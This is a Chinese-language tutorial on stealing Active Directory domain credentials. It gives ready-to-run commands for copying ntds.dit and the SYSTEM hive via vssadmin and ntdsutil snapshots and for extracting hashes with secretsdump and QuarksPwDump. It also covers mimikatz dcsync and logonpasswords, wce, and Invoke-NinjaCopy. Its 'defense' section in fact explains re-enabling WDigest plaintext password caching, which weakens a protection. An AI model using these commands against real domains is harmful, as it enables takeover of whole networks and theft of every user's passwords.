获取域hash并破解

ntds.dit

ntds.dit是主要的AD数据库,存放在C:\Windows\NTDS\NTDS.dit,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密

获取方式分为两种:

1.在线获取

2.离线获取

注意:

在域环境中,建议不要直接在线获取hash,特别是域环境比较大的时候,在线获取hash等待时候较长,工具占用资源太多,容易造成域控服务器崩溃。

在线获取

适用于域用户较少的时候

工具:

wce、gethashes、mimikatz

离线获取

导出ntds.dit 和 system文件,下载到本地 (这两个文件属于系统特殊文件,不能直接复制粘贴,需要采取特殊方法进行复制粘贴,类似的还有SAM文件。)

获取方法一:卷影拷贝法

利用vssadmin命令

(1)创建C盘卷影拷贝

vssadmin create shadow /for=c:

获得地址 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4

获取域hash并破解_第1张图片

(2) 复制ntds.dit和system文件(将文件复制到c盘下)

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\\

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\system32\config\system c:\\

图为复制到域控下某台机器上

获取域hash并破解_第2张图片

获取域hash并破解_第3张图片

(3)复制完之后删除卷影

获取域hash并破解_第4张图片

(4)破解hash

复制完保存在本地,利用impacket工具包 在impacket/example下

secretsdump.py -ntds ntds.dit文件的位置 -system system文件的位置 local



获取方法二:利用ntsdutil.exe工具

NtdSutilexe是一个为Active Directory提供管理设施的命令行工具。

(1)使用ntdsutil.exe,进入ntdsutil.exe命令行

获取域hash并破解_第5张图片

(2)使用snapshot,进入快照管理命令行

获取域hash并破解_第6张图片

(3)创建新快照

activate instance ntds

create

获取域hash并破解_第7张图片

(4)使用mount挂载快照,得到一个地址

mount {a90b5261-9d55-42d0-a19d-d414c7f962f1}

获取域hash并破解_第8张图片

(5)另起一个cmd,复制快照种的ntds

copy C:\$SNAP_202002141741_VOLUMEC$\windows\ntds\ntds.dit

获取域hash并破解_第9张图片

(6)卸载并删除快照

获取域hash并破解_第10张图片

(7)保存system

reg save hklm\system system.hive

(8)破解hash

使用QuarksPwDump-off-line进行离线破解

QuarksPwDump-off-line -dhd -nt ntds.dit -sf system.hive -o hashs.txt


获取域hash其他方法

其他工具

导出工具

1.ntdsutil

2.diskshadow.exe

13.vssown

4.auxiliary/admin/smb/psexec.ntdsgrab#msf模块

5.使用PowerSploit的Invoke-NinjaCopy远程提取ntds.dit

读取工具

NTDSDumpEx.exe

只获取特定用户的hash

进入mimikatz命令行模式

lsadump::dcsync /dc:win08.superman.com /domain:superman.com /user:用户名

获取明文密码

分两种情况:

1.在域控上获取明文密码

2.在普通域服务器上获取明文密码

再次提示:

在域环境中,不要直接在线获取hash,特别是域环境比较大的时候,在线获取hash等待时时间较长,工具占用资源太多,容易造成域控服务器崩溃。


1.在域控上获取明文密码

   1.利用wce

wce -w

   2.利用mimikatz

直接cmd调用

mimikatz.exe "sekurlsa::logonpasswords" exit

离线获取,能绕过杀软

离线获取明文密码

2.在普通域服务器上获取明文密码

普通域用户无法获取明文密码,不管是wce还是mimikatz

普通域用户无法获取明文密码,因为利用工具获取明文密码需要从系统进程lsass.exe的内存空间中读取,域普通用户的权限小于系统进程的system权限,所以没有办法从系统进程lsass.exe的内存空间中读取明文密码


防御方法

关于wce和mimikatz以及lsass.exe

    Windows8.1以上版本或打过KB2871997补丁的机器,lsass中不会存储密码,如果想抓取密码,可以将注册表HKLM(HKEY LOCAL MACHINE)\SYSTEM\CurrentControlSet\Control\securityProviders\Wdigest下的UseLogonCredential设置为1,类型为DWORD32

可以使用命令:
Reg add HKLM\SYSTEM\CurrentControlSet\Control\securityProviders Wdigest/v UselogonCredential/t REG_DWORD /d1


获取域hash并破解_第11张图片


获取域hash并破解_第12张图片

你可能感兴趣的:(获取域hash并破解)